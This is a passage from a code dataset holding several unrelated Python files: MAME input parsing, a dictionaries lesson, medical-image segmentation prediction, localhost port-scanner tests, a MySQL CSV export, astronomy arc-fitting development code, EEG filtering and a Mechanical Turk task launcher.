machine.name, 'has no input')\n\t\treturn\n\n\tcontrol_elements = machine.input_element.findall('control')\n\tif not control_elements:\n\t\t#Sometimes you get some games with 1 or more players, but no control type defined. This usually happens with\n\t\t#pinball games and weird stuff like a clock, but also some genuine games like Crazy Fight that are more or less\n\t\t#playable just fine, so we'll leave them in\n\t\tmachine.metadata.input_info.add_option(input_metadata.Custom())\n\t\treturn\n\n\tcontroller = input_metadata.CombinedController()\n\n\thas_normal_input = False\n\thas_added_vii_motion_controls = False\n\tnormal_input = input_metadata.NormalController()\n\n\tfor control in control_elements:\n\t\tbuttons = int(control.attrib.get('buttons', 0))\n\n\t\tif control.attrib.get('player', '1') != '1':\n\t\t\t#I care not for these \"other people\" and \"social interaction\" concepts\n\t\t\t#Anyway, this would only matter for stuff where player 2 has a different control scheme like Lucky & Wild, and... not sure what I'm gonna do about that, because we wanna avoid doubling up on input types where number of players > 1, and then that seems to be correct anyway\n\t\t\tcontinue\n\n\t\t#Still kinda feel like this is messy but ehhh\n\t\t#Input metadata will probably never be perfect, MAME -listxml outputs things for a different purpose really, it just be like that sometimes\n\t\t#I wonder if I'd be better off making some kind of controls.ini file myself\n\t\tinput_type = control.attrib['type']\n\t\tif input_type == 'only_buttons':\n\t\t\thas_normal_input = True\n\t\t\tnormal_input.face_buttons += buttons\n\t\telif input_type == 'joy':\n\t\t\thas_normal_input = True\n\t\t\tnormal_input.face_buttons += buttons\n\t\t\tnormal_input.dpads += 1\n\t\telif input_type == 'doublejoy':\n\t\t\thas_normal_input = True\n\t\t\tnormal_input.face_buttons += buttons\n\t\t\tnormal_input.dpads += 2\n\t\telif input_type == 'triplejoy':\n\t\t\thas_normal_input = True\n\t\t\tnormal_input.face_buttons += buttons\n\t\t\tnormal_input.dpads += 3\n\t\telif input_type == 'paddle':\n\t\t\tif machine.metadata.genre == 'Driving':\n\t\t\t\t#Yeah this looks weird and hardcody and dodgy but am I wrong\n\t\t\t\tcontroller.components.append(input_metadata.SteeringWheel())\n\t\t\telif machine.basename == 'vii':\n\t\t\t\t#Uses 3 \"paddle\" inputs to represent 3-axis motion and I guess I'll have to deal with that\n\t\t\t\tif not has_added_vii_motion_controls:\n\t\t\t\t\tcontroller.components.append(input_metadata.MotionControls())\n\t\t\t\t\thas_added_vii_motion_controls = True\n\t\t\telse:\n\t\t\t\tcontroller.components.append(input_metadata.Paddle())\n\t\telif input_type == 'stick':\n\t\t\thas_normal_input = True\n\t\t\tnormal_input.analog_sticks += 1\n\t\t\tnormal_input.face_buttons += buttons\n\t\telif input_type == 'pedal':\n\t\t\tcontroller.components.append(input_metadata.Pedal())\n\t\telif input_type == 'lightgun':\n\t\t\t#TODO: See if we can be clever and detect if this is actually a touchscreen, like platform = handheld or something\n\t\t\tcontroller.components.append(input_metadata.LightGun())\n\t\telif input_type == 'positional':\n\t\t\t#What _is_ a positional exactly\n\t\t\tcontroller.components.append(input_metadata.Positional())\n\t\telif input_type == 'dial':\n\t\t\tcontroller.components.append(input_metadata.Dial())\n\t\telif input_type == 'trackball':\n\t\t\tcontroller.components.append(input_metadata.Trackball())\n\t\telif input_type == 'mouse':\n\t\t\tmouse = input_metadata.Mouse()\n\t\t\tmouse.buttons = buttons\n\t\t\tcontroller.components.append(mouse)\n\t\telif input_type == 'keypad':\n\t\t\tkeypad = input_metadata.Keypad()\n\t\t\tkeypad.keys = buttons\n\t\t\tcontroller.components.append(keypad)\n\t\telif input_type == 'keyboard':\n\t\t\tkeyboard = input_metadata.Keyboard()\n\t\t\tkeyboard.keys = buttons\n\t\t\tcontroller.components.append(keyboard)\n\t\telif input_type == 'mahjong':\n\t\t\tcontroller.components.append(input_metadata.Mahjong())\n\t\telif input_type == 'hanafuda':\n\t\t\tcontroller.components.append(input_metadata.Hanafuda())\n\t\telif input_type == 'gambling':\n\t\t\tcontroller.components.append(input_metadata.Gambling())\n\t\telse:\n\t\t\tif buttons:\n\t\t\t\tdescription = 'Custom input device with {0}'.format(pluralize(buttons, 'button'))\n\t\t\telse:\n\t\t\t\tdescription = 'Custom input device'\n\t\t\tcontroller.components.append(input_metadata.Custom(description))\n\n\tif has_normal_input:\n\t\tcontroller.components.append(normal_input)\n\n\tmachine.metadata.input_info.input_options = [controller]\n","sub_path":"mame_metadata.py","file_name":"mame_metadata.py","file_ext":"py","file_size_in_byte":22418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"268999347","text":"'Counting Pattern'\ncounts = dict()\nline = input('')\n\nwords = line.split()\n\nprint('Words:', words)\n\nprint('Counting...')\nfor word in words:\n counts[word] = counts.get(word, 0) + 1\nprint('Counts', counts)\n\n'Definite Loops and Dictionaries'\ncounts = {'chuck': 1, 'fred': 42, 'jan': 100}\nfor key in counts :\n print(key, counts[key]) \n'''\njan 100\nchuck 1\nfred 42\n '''\n\n'Retrieving lists of Keys and Values'\njjj = {'chuck': 1, 'fred': 42, 'jan': 100}\nprint(list(jjj)) # ['jan', 'chuck', 'fred']\nprint(jjj.keys()) # ['jan', 'chuck', 'fred']\nprint(jjj.values()) # [100, 1, 42]\nprint(jjj.items()) #[('jan', 100), ('chuck', 1), ('fred', 42)]\n\n'Bonus: Two Iteration Variables!'\nfor aaa, bbb in jjj.items() :\n print(aaa, bbb)\n'''\njan 100\nchuck 1\nfred 42\n '''\n\n'The Finale'\nname = input('Enter file: ')\nhandle = open(name)\n\ncounts = dict()\nfor line in handle:\n words = line.split()\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n \nbigcount = None\nbigword = None\nfor word, count in counts.items():\n if bigcount is None or count > bigcount:\n bigword = word\n bigcount = count\n\nprint(bigword, bigcount)\n","sub_path":"Course 2 - Python Data Structures/Chapter 09/Lecture Material/DictionariesAndFiles.py","file_name":"DictionariesAndFiles.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"117906107","text":"import numpy as np\nimport pandas as pd\nimport scipy\nimport matplotlib.pyplot as plt\nfrom skimage.color import rgb2gray\nfrom skimage import morphology\nfrom skimage.io import imsave\nfrom scipy import ndimage\nimport os\nimport glob\nimport openslide\nfrom openslide import deepzoom\nimport importlib\nimport torch\nfrom PIL import Image\nimport re\nfrom torchvision import transforms\nimport torchvision\nimport GPUtil\nimport argparse\nimport timeit \n\nfrom networks.unet_model import UNet\nfrom mask import *\n\n\n#=============================================================\n# PARSE COMMANDLINE OPTIONS\n#=============================================================\nparser = argparse.ArgumentParser()\nparser.add_argument('-data_path', '--data_path', help=\"path to data file\")\nparser.add_argument('-save_path', '--save_path', help=\"path to output file\", default='./results/')\nparser.add_argument('-model_path', '--model_path', help=\"Path contains all the models\", default='./models/')\nparser.add_argument('-batch_num', '--batch_num', help=\"Batch number, 1 to 10\", default = 1)\nargs = parser.parse_args()\n\n# get data path:\nif args.data_path != None:\n print(\"# Data path: \" + args.data_path )\n data_path = args.data_path\nelse:\n sys.stderr.write(\"Please specify path to data!\\n\")\n sys.exit(2)\n\n# get save path:\nif args.save_path != None:\n print(\"# Save path: \" + args.save_path )\n save_path = args.save_path\n mask_path = os.path.join(save_path,'mask')\n masked_image_path = os.path.join(save_path,'masked_image')\n # make save_path directory\n try: \n os.mkdir(save_path)\n os.mkdir(mask_path)\n os.mkdir(masked_image_path)\n print('Created save directory')\n except OSError:\n print('Save directory already exists')\n pass\nelse:\n sys.stderr.write(\"Please specify save path to output!\\n\")\n sys.exit(2)\n\n# get model path:\ntry:\n print(\"# Model path: \" + str(args.model_path))\n model_path = args.model_path\nexcept:\n sys.stderr.write(\"Problem defining pretrained model path!\\n\")\n sys.exit(2)\n \n# get batch number\nif args.batch_num != None:\n print(\"# Batch number: \" + str(args.batch_num) )\n batch_num = int(args.batch_num)\nelse:\n sys.stderr.write(\"Please specify batch num!\\n\")\n sys.exit(2)\n \n \n#=============================================================\n# LOAD MODELS AND DEVICE\n#=============================================================\n\n# get device\ndevice = torch.device((GPUtil.getAvailable(order = \"memory\")[0]) if torch.cuda.is_available() else 'cpu')\nprint(f'Using device {device}')\n\n# get models\nmodel = os.path.join(model_path,'fat.pth')\nprint(\"Loading model {}\".format(model))\nfat_net = UNet(n_channels=3, n_classes=1)\nfat_net.to(device=device)\nfat_net.load_state_dict(torch.load(model, map_location=device))\n\nmodel = os.path.join(model_path,'duct.pth')\nprint(\"Loading model {}\".format(model))\nduct_net = UNet(n_channels=3, n_classes=1)\nduct_net.to(device=device)\nduct_net.load_state_dict(torch.load(model, map_location=device))\n\nmodel = os.path.join(model_path,'vessel.pth')\nprint(\"Loading model {}\".format(model))\nvessel_net = UNet(n_channels=3, n_classes=1)\nvessel_net.to(device=device)\nvessel_net.load_state_dict(torch.load(model, map_location=device))\n\nmodel = os.path.join(model_path,'islet.pth')\nprint(\"Loading model {}\".format(model))\nislet_net = UNet(n_channels=3, n_classes=1)\nislet_net.to(device=device)\nislet_net.load_state_dict(torch.load(model, map_location=device))\n\nprint(\"All models are loaded !\")\n\n\n#=============================================================\n# PREDICTION \n#=============================================================\n# total_time = 0\ndf_name = os.path.join(save_path, str(batch_num) + '_pancreas_prediction.csv')\n\nif os.path.isfile(df_name):\n df = pd.read_csv(df_name)\nelse:\n df = pd.DataFrame(columns=['Sample_ID','Total_Area','Acinar_Area','Fat_Area','Vessel_Area', 'Islet_Area', 'Duct_Area'])\n\nfile_list = glob.glob(data_path + '*.svs')\nif batch_num < 10:\n file_list = file_list[(batch_num-1)*60:batch_num*60] \nelse:\n file_list = file_list[(batch_num-1)*60:] \n\nim_size = 512\n\nfor idx, file in enumerate(file_list):\n sample_id,_ = os.path.splitext(os.path.basename(file))\n \n if os.path.isfile(os.path.join(mask_path, sample_id+'.npy')):\n print(idx,'/',len(file_list),'-',sample_id,'- already exist')\n else:\n try:\n wsi = openslide.open_slide(file)\n dzi = openslide.deepzoom.DeepZoomGenerator(wsi, tile_size=im_size, overlap = 0, limit_bounds = False)\n print(idx,'/',len(file_list),'-',sample_id)\n except:\n print(idx,'/',len(file_list),'-',sample_id,'- not available')\n continue\n\n # extract tiles\n x_tile = dzi.level_tiles[14][0] # column\n y_tile = dzi.level_tiles[14][1] # row\n num_tiles = x_tile*y_tile\n\n if num_tiles > 1000:\n print('Wrong scale for', sample_id)\n continue\n else:\n # go through each column\n for i in range(x_tile):\n # go thtough each row\n for j in range(y_tile):\n tile = dzi.get_tile(14,(i,j)) \n label = get_label_matrix(tile, net, device)\n if j == 0:\n col_label = label\n else:\n col_label = np_concat_v(col_label, label)\n if i == 0:\n total_label = col_label\n else:\n total_label = np_concat_h(total_label, col_label)\n\n # get area of each \n total_area, acinar_area, fat_area, vessel_area, islet_area, duct_area = get_area(total_label)\n\n # save \n df.loc[df.shape[0]] = [sample_id, total_area, acinar_area, fat_area, vessel_area, islet_area, duct_area]\n df.to_csv(df_name, encoding='utf-8', index=False)\n\n # save\n np.save(os.path.join(mask_path, sample_id+'.npy'), total_label.astype(bool))\n\nprint('Done')","sub_path":"Prediction/pancreas_predict.py","file_name":"pancreas_predict.py","file_ext":"py","file_size_in_byte":6054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"608557843","text":"import unittest\nfrom scanner import *\n\nif __name__ == '__main__':\n unittest.main()\n\nclass Test_scanner(unittest.TestCase):\n # ============Testing portscan(target,port)=============#\n def test_portscan(self):\n self.assertEqual(portscan(\"127.0.0.1\",\"80\"),\"80\") #IP address as string\n self.assertEqual(portscan(\"127.0.0.1\",80),\"80\") #IP address as string\n\n # ============Testing scan_target(target,ports_to_scan)=============#\n def test_scan_target(self):\n self.assertEqual(scan_target(\"127.0.0.1\",[90,27,80,200]),[\"80\"]) #IP address as string\n self.assertEqual(scan_target(\"127.0.0.1\",[\"22\",\"80\"]),[\"22\",\"80\"]) #IP address as string\n\n # ============Testing scan_target(target,ports_to_scan)=============#\n def test_scan_all_targets(self):\n targets_to_scan = [\"127.0.0.1\",\"127.0.0.1\"]\n ports_to_scan = [\"22\",\"80\",\"111\",]\n self.assertIsNone(scan_all_targets(targets_to_scan, ports_to_scan)) #IP address as string\n","sub_path":"Test_scanner.py","file_name":"Test_scanner.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"335408893","text":"import mysql.connector as mariadb\nimport json as js\nimport csv\n\nCONFIG_FILE = \"config.json\" # Holds all of our connection info from the sneak github hackers\n\n# NOTE: Value 0, 1, 2 : Paper, Poster, Either\ndef get_config():\n with open(CONFIG_FILE) as open_config:\n config = js.load(open_config)\n open_config.close()\n return config\n\nif __name__ == \"__main__\":\n try: \n # Attempting to connect to database\n cnx = mariadb.connect(**get_config());\n except mariadb.Error as err:\n # Checking for a couple common errors if there are any\n if err.errno == mariadb.errorcode.ER_ACCESS_DENIED_ERROR:\n print(\"Wrong username or password\")\n elif err.errno == mariadb.errorcode.ER_BAD_DB_ERROR:\n print(\"Invalid database\")\n else:\n print(err)\n else:\n cursor = cnx.cursor(buffered=True)\n query_template = \"SELECT * FROM ranks WHERE rev_id={}\"\n last_name_query_template = \"SELECT last_name FROM reviewers WHERE id={}\"\n headers = [\"Paper ID\", \"Rev ID\", \"Rating\", \"Theme\", \"Accept\"]\n \n for rev_id in range(103, 166): \n ### Fetching last name ###\n last_name_query = last_name_query_template.format(rev_id)\n cursor.execute(last_name_query)\n for s in cursor:\n last_name = s[0]\n ##########################\n \n print(\"CURRENT REVIEWER ID: {} LAST NAME: {}\".format(rev_id, last_name))\n \n query = query_template.format(rev_id)\n cursor.execute(query)\n \n csv_name = \"{}.csv\".format(last_name)\n \n with open(csv_name, mode='w') as csv_file:\n csv_writer = csv.writer(csv_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_NONNUMERIC)\n csv_writer.writerow(headers)\n for s in cursor:\n csv_writer.writerow([s[1], s[2], s[3], s[4], s[5]])\n \n csv_file.close() \n \n\n \n cnx.close() # Close connection when finished","sub_path":"KCHCReviews/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"568227765","text":"\"\"\" For the development and testing of 2D ARCS\n\"\"\"\n\nfrom __future__ import (print_function, absolute_import, division,\n unicode_literals)\n\n# General imports\nimport numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\nfrom scipy.io import readsav\nfrom astropy.io import ascii\nfrom astropy.stats import sigma_clip\n\n# PYPEIT imports\nfrom pypeit.core import pydl\n\n###############################################################\n# Porting XIDL code x_fit2darc to python\n\n# PURPOSE of the XIDL code:\n# To fit the arc lines identified in x_fitarc as a function of\n# their y-centroid and order number. The main routine is in\n# x_fit2darc. The fit is a simple least-squares with one round \n# of rejection.\n\n# Feige runned the code on his GNRIS data. I will use this to\n# test that the PYPEIT code will arrive to the same outputs of\n# XIDL\n\ndebug = False\n\n# Reading in the output from XIDL for GNRIS.\n# Order vector\norder = [3, 4, 5, 6, 7, 8]\n\n# Number of identified lines per order\npixid = np.zeros_like(order)\n\n# Read pixels and wavelengths from sv_lines_clean.txt\n# this is just reading the file that Feige gave me.\nf = open('./sav_files/sv_lines_clean.txt', 'r')\nPIXWL_str = f.readlines()\nfull = {}\nindex = 0\nfor line in PIXWL_str:\n full[index] = np.fromstring(line, dtype=float, sep=' ')\n index = index+1\nall_pix = {}\nall_wv = {}\nindex = 0\nfor ii in np.arange(0, 12, 2):\n all_pix[index] = full[ii][np.nonzero(full[ii])]\n all_wv[index] = full[ii+1][np.nonzero(full[ii+1])]\n pixid[index] = len(all_pix[index])\n index = index+1\n\n# Now I have a dict with pixels [all_pix] , one with\n# corresponding wavelengths [all_wl], and one vector with \n# the orders [order].\n# I'm creating now the vectors resambling those in XIDL.\n\nall_pix_pypeit = []\nt_pypeit = []\nall_wv_pypeit = []\nnpix_pypeit = []\nindex = 0\n\nfor ii in all_pix.keys():\n all_pix_pypeit = np.concatenate((all_pix_pypeit,\n np.array(all_pix[ii])))\n t_tmp = np.full_like(np.array(all_pix[ii]), np.float(order[index]))\n t_pypeit = np.concatenate((t_pypeit, t_tmp))\n all_wv_pypeit = np.concatenate((all_wv_pypeit,\n np.array(all_wv[ii])))\n npix_tmp = np.full_like(np.array(all_pix[ii]), np.size(all_pix[ii]))\n npix_pypeit = np.concatenate((npix_pypeit, npix_tmp))\n index = index + 1\n\n# Setting the same format of XIDL\nall_wv_pypeit = all_wv_pypeit * t_pypeit\n\ndef fit2darc(all_pix):\n \"\"\"Obtain 2D wavelength solution.\n \n \"\"\"\n\n# NORMALIZE PIX\nmnx = np.min(all_pix_pypeit)\nmxx = np.max(all_pix_pypeit)\nnrm = np.array([0.5 * (mnx + mxx), mxx - mnx])\npix_nrm_pypeit = 2. * (all_pix_pypeit - nrm[0])/nrm[1]\n\n# NORMALIZE ORDERS\nmnx = np.min(t_pypeit)\nmxx = np.max(t_pypeit)\nnrmt = np.array([0.5 * (mnx + mxx), mxx - mnx])\nt_nrm_pypeit = 2. * (t_pypeit - nrmt[0])/nrmt[1]\n\n\nif debug: \n # Check that the vectors match the XIDL ones.\n print(\" \")\n print(\" t PYPEIT vs. XIDL:\")\n print(\" - min={}\".format(np.min(t_pypeit-t_xidl)))\n print(\" - max={}\".format(np.max(t_pypeit-t_xidl)))\n print(\" \")\n print(\" all_wv PYPEIT vs. XIDL:\")\n print(\" - min={}\".format(np.min(all_wv_pypeit-all_wv_xidl)))\n print(\" - max={}\".format(np.max(all_wv_pypeit-all_wv_xidl)))\n print(\" \")\n print(\" pix_nrm PYPEIT vs. XIDL:\")\n print(\" - min={}\".format(np.min(pix_nrm_pypeit-pix_nrm_xidl)))\n print(\" - max={}\".format(np.max(pix_nrm_pypeit-pix_nrm_xidl)))\n print(\" \")\n print(\" t_nrm PYPEIT vs. XIDL:\")\n print(\" - min={}\".format(np.min(t_nrm_pypeit-t_nrm_xidl)))\n print(\" - max={}\".format(np.max(t_nrm_pypeit-t_nrm_xidl)))\n print(\" \")\n # Plot pixels vs. order with wavelengths as colorbar\n print(\" \")\n print(\" Plot of wavelengths as a function of normalized orders and\")\n print(\" pixels.\")\n print(\" \")\n plt.figure()\n cm = plt.cm.get_cmap('RdYlBu_r')\n sc = plt.scatter(t_nrm_pypeit, pix_nrm_pypeit,\n c=all_wv_pypeit/t_pypeit/10000., cmap=cm)\n cbar = plt.colorbar(sc)\n cbar.set_label(r'WAVELENGTHS [$\\mu$m]', rotation=270,\n labelpad=20)\n plt.xlabel(r'NORMALIZED ORDERS')\n plt.ylabel(r'NORMALIZED PIX')\n plt.show()\n\n# The following stricktly resamble what is happening from\n# line 148 of x_fit2darc.pro\n\n# pixid is a vector that cointains the number of lines id in\n# each order. This means that sum(pixid) is the total number\n# of line identified.\ninvvar = np.ones(np.sum(pixid), dtype=np.float64)\nif debug: \n print(\" \")\n print(\" The shape of invvar is: {}\".format(invvar.shape))\n print(\" \")\n\n# SETUP THE FUNCTIONS\n# these are input values of the function. nycoeff is along pixel\n# direction for each order. This should be 3 since the maximum \n# 1-d fits for any of the orders is 3.\nnycoeff = 3\n# nocoeff is the order direction. 5 seems to give better rms.\nnocoeff = 5\n\nwork2d = np.zeros((nycoeff*nocoeff, np.sum(pixid)), dtype=np.float64)\nworky = pydl.flegendre(pix_nrm_pypeit, nycoeff)\nworkt = pydl.flegendre(t_nrm_pypeit, nocoeff)\n\nfor i in range(nocoeff):\n for j in range(nycoeff):\n work2d[j*nocoeff+i,:] = worky[j,:] * workt[i,:]\n\n\nif debug: \n print(\" \")\n print(\" The shape of work2d is: {}\".format(work2d.shape))\n print(\" while from XIDL the shape is: {}\".format(work2d_1_xidl.shape))\n print(\" \")\n print(\" The shape of worky is: {}\".format(worky.shape))\n print(\" The shape of workt is: {}\".format(workt.shape))\n print(\" \")\n print(\" work2d PYPEIT vs. XIDL:\")\n print(\" - min={}\".format(np.min(work2d-work2d_1_xidl)))\n print(\" - max={}\".format(np.max(work2d-work2d_1_xidl)))\n print(\" \")\n\n# Do the matrix algebra\nwork2di = np.transpose(work2d * np.outer(np.ones(nocoeff*nycoeff,\n dtype=float),\n invvar))\nif debug: \n print(\" \")\n print(\" The shape of work2di is: {}\".format(work2di.shape))\n print(\" while from XIDL the shape is: {}\".format(work2di_1_xidl.shape))\n print(\" \")\n print(\" The shape of all_wv_pypeit.T is: {}\".format(all_wv_pypeit.T.shape))\n print(\" while from XIDL the shape of all_wv_xidl is: {}\".format(all_wv_xidl.shape))\n print(\" \")\n print(\" work2di PYPEIT vs. XIDL:\")\n print(\" - min={}\".format(np.min(work2di-work2di_1_xidl)))\n print(\" - max={}\".format(np.max(work2di-work2di_1_xidl)))\n print(\" \")\n\n # Plot to check that everything works fine\n fig = plt.figure()\n ax1 = fig.add_subplot(121)\n im1 = ax1.imshow((work2d_1_xidl-work2d)*1e8)\n cbar1 = fig.colorbar(im1)\n cbar1.set_label(r'(WORK2D XIDL - WORK2D PYTHON)$\\times$10$^{-8}$',\n rotation=270, labelpad=20)\n ax1.set_aspect('auto')\n ax2 = fig.add_subplot(122)\n ax2.hist(np.ndarray.flatten(work2d_1_xidl-work2d)*1e8)\n ax2.set_xlabel(r'(WORK2D XIDL - WORK2D PYTHON)$\\times$10$^{-8}$')\n ax2.set_aspect('auto')\n plt.show()\n fig = plt.figure()\n ax1 = fig.add_subplot(121)\n im1 = ax1.imshow((work2di_1_xidl-work2di)*1e8)\n cbar1 = fig.colorbar(im1)\n cbar1.set_label(r'(WORK2DI XIDL - WORK2DI PYTHON)$\\times$10$^{-8}$',\n rotation=270, labelpad=20)\n ax1.set_aspect('auto')\n ax2 = fig.add_subplot(122)\n ax2.hist(np.ndarray.flatten(work2di_1_xidl-work2di)*1e8)\n ax2.set_xlabel(r'(WORK2DI XIDL - WORK2DI PYTHON)$\\times$10$^{-8}$')\n ax2.set_aspect('auto')\n plt.show()\n\nalpha = work2d.dot(work2di)\nbeta = all_wv_pypeit.dot(work2di)\n\nsolve = np.linalg.solve(alpha,beta)\nwv_mod = solve.dot(work2d)\n\nif debug: \n plt.figure()\n plt.scatter(all_wv_pypeit / t_pypeit,\n wv_mod / t_pypeit - all_wv_pypeit / t_pypeit,\n marker=\"v\",\n label='PypeIt')\n plt.scatter(all_wv_xidl / t_xidl,\n wv_mod_1_xidl/t_xidl - all_wv_xidl / t_xidl,\n marker=\"^\",\n label='XIDL')\n plt.legend()\n plt.title(r'1st ITERATION')\n plt.xlabel(r'WAVELENGTHS [$\\AA$]')\n plt.ylabel(r'RESIDUALS [$\\AA$]')\n plt.show()\n\n# Mask Values\n# msk = True means a bad value\nmsk = sigma_clip(wv_mod-all_wv_pypeit).mask\nif np.any(msk):\n print(\"Rejecting: {} of {} lines.\".format(len(msk[np.where(msk == True)]),len(msk)))\n invvar[msk] = 0.\n\n# Do the matrix algebra\nwork2di = np.transpose(work2d * np.outer(np.ones(nocoeff*nycoeff,\n dtype=float),\n invvar))\nalpha = work2d.dot(work2di)\nbeta = all_wv_pypeit.dot(work2di)\n\nsolve = np.linalg.solve(alpha,beta)\nwv_mod = solve.dot(work2d)\n\nplt.figure()\nplt.scatter(all_wv_pypeit / t_pypeit,\n wv_mod / t_pypeit - all_wv_pypeit / t_pypeit,\n marker=\"v\",\n label='PypeIt')\nplt.scatter(all_wv_xidl / t_xidl,\n wv_mod_2_xidl/t_xidl - all_wv_xidl / t_xidl,\n marker=\"^\",\n label='XIDL')\nplt.legend()\nplt.title(r'2nd ITERATION')\nplt.xlabel(r'WAVELENGTHS [$\\AA$]')\nplt.ylabel(r'RESIDUALS [$\\AA$]')\nplt.show()\n\n# Finsih\ngd_wv = invvar > 0.\nresid = (wv_mod[gd_wv] / t_pypeit[gd_wv] - all_wv_pypeit[gd_wv] / t_pypeit[gd_wv])\nfin_rms = np.sqrt(np.mean(resid**2))\n\nprint(\"RMS: {} Ang*Order#.\".format(fin_rms))\n\nplt.figure()\ncm = plt.cm.get_cmap('RdYlBu_r')\nsc = plt.scatter(t_pypeit, all_pix_pypeit,\n c=wv_mod/t_pypeit/10000., cmap=cm)\ncbar = plt.colorbar(sc)\ncbar.set_label(r'WAVELENGTHS [$\\mu$m]', rotation=270,\n labelpad=20)\nplt.title(r'RESULT OF THE FIT')\nplt.xlabel(r'ORDERS')\nplt.ylabel(r'PIXELS')\nplt.show()\n\n","sub_path":"dev_algorithms/arcs2d/dev_files/dev_arcs2d_v1.py","file_name":"dev_arcs2d_v1.py","file_ext":"py","file_size_in_byte":9503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"177992781","text":"#!/usr/bin/env python\n\nimport numpy\n\nfrom electrolib.eegfile import EEGFile\n\nclass FilterFile(EEGFile):\n \"\"\"\n FilterFile is an EEGFile subclass that applies digital filters to the\n input signals.\n \"\"\"\n def _get_head(self):\n head = super(FilterFile, self)._get_head()\n # Sort out filtering\n filters, zero_states = self._design_filters(head)\n self._filters = filters\n self._zero_states = zero_states\n self._filter_states = {0:zero_states}\n # Return as normal\n return head\n\n def _get_blocks(self, n1, n2):\n block = EEGFile._get_blocks(self, n1, n2)\n block_new = block.copy()\n # Hopefully the filtering has previously ended on the block before\n initial_states = self._filter_states.get(n1, self._zero_states)\n final_states = []\n for name, f, zi in zip(block.keys(), self._filters, initial_states):\n x_old = block[name]\n x_new, zf = self._apply_filter(x_old, f, zi)\n block_new[name] = numpy.round(x_new)\n final_states.append(zf)\n self._filter_states[n2] = final_states\n # Return as normal\n return block_new\n \n def _apply_filter(self, sig, filter, initial):\n \"\"\"Subclasses should override to provide the filtering function\"\"\"\n raise NotImplementedError\n\n def _design_filters(self, head):\n \"\"\"Subclasses should override to create filtering data\"\"\"\n raise NotImplementedError\n\n","sub_path":"electrolib/filters/filterfile.py","file_name":"filterfile.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"332154948","text":"# encoding: utf-8\n# -*- coding: utf-8 -*-\n# author = ‘LW’\n\"\"\"\nLGB (local, global, build-in)\n\"\"\"\ng_a = 1\ng_b = [1]\ng_c = [1]\n\n\ndef test_lgb_1():\n g_a = 2 # local\n g_b = [1, 2] # local\n g_c.append(3) # global\n\n print('inner function:', g_a, g_b, g_c)\n\n\ndef test_lgb_2():\n global g_a, g_b # 使用global关键字 , 使用全局变量\n g_a = 2 # global\n g_b = [1, 2] # global\n g_c.append(3) # global\n\n print('inner function:', g_a, g_b, g_c)\n\n\ntest_lgb_2()\nprint('outer function:', g_a, g_b, g_c)\n","sub_path":"studysrc/day05/func_lgb.py","file_name":"func_lgb.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"620668055","text":"#!/usr/bin/env python3\n\n# Copyright (c) Facebook, Inc. and its affiliates.\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\nfrom parlai.core.params import ParlaiParser\nfrom parlai.mturk.core.mturk_manager import MTurkManager\nfrom worlds import RephrasePersonaWorld, PersonasGenerator\nfrom task_config import task_config\n\nimport os\n\n\ndef main():\n \"\"\"This task consists of one agent, model or MTurk worker, talking to an\n MTurk worker to negotiate a deal.\n \"\"\"\n argparser = ParlaiParser(False, False)\n argparser.add_parlai_data_path()\n argparser.add_mturk_args()\n argparser.add_argument('-min_t', '--min_turns', default=5, type=int,\n help='minimum number of turns')\n argparser.add_argument('-mt', '--max_turns', default=10, type=int,\n help='maximal number of chat turns')\n argparser.add_argument('-mx_rsp_time', '--max_resp_time', default=150,\n type=int,\n help='time limit for entering a dialog message')\n argparser.add_argument('--ag_shutdown_time', default=120,\n type=int,\n help='time limit for entering a dialog message')\n argparser.add_argument('--persona-type', default='both', type=str,\n choices=['both', 'self', 'other'],\n help='Which personas to load from personachat')\n opt = argparser.parse_args()\n\n directory_path = os.path.dirname(os.path.abspath(__file__))\n opt['task'] = os.path.basename(directory_path)\n\n opt['extract_personas_path'] = os.path.join(opt['datapath'], opt['task'])\n opt.update(task_config)\n\n mturk_agent_ids = ['PERSON_1']\n\n mturk_manager = MTurkManager(\n opt=opt,\n mturk_agent_ids=mturk_agent_ids\n )\n\n mturk_manager.setup_server(task_directory_path=directory_path)\n\n personas_generator = PersonasGenerator(opt)\n opt['personas_generator'] = personas_generator\n\n try:\n mturk_manager.start_new_run()\n mturk_manager.create_hits()\n\n if not opt['is_sandbox']:\n # ADD BLOCKED WORKERS HERE\n blocked_worker_list = []\n for w in blocked_worker_list:\n mturk_manager.block_worker(\n w,\n 'We found that you have unexpected behaviors in our '\n 'previous HITs. For more questions please email us.'\n )\n\n def run_onboard(worker):\n pass\n\n mturk_manager.set_onboard_function(onboard_function=run_onboard)\n mturk_manager.ready_to_accept_workers()\n\n def check_worker_eligibility(worker):\n return True\n\n def assign_worker_roles(workers):\n for index, worker in enumerate(workers):\n worker.id = mturk_agent_ids[index % len(mturk_agent_ids)]\n\n def run_conversation(mturk_manager, opt, workers):\n worker = workers[0]\n world = RephrasePersonaWorld(opt, worker)\n while not world.episode_done():\n world.parley()\n world.save_data()\n world.shutdown()\n world.review_work()\n\n mturk_manager.start_task(\n eligibility_function=check_worker_eligibility,\n assign_role_function=assign_worker_roles,\n task_function=run_conversation\n )\n\n except BaseException:\n raise\n finally:\n mturk_manager.expire_all_unassigned_hits()\n mturk_manager.shutdown()\n\n\nif __name__ == '__main__':\n 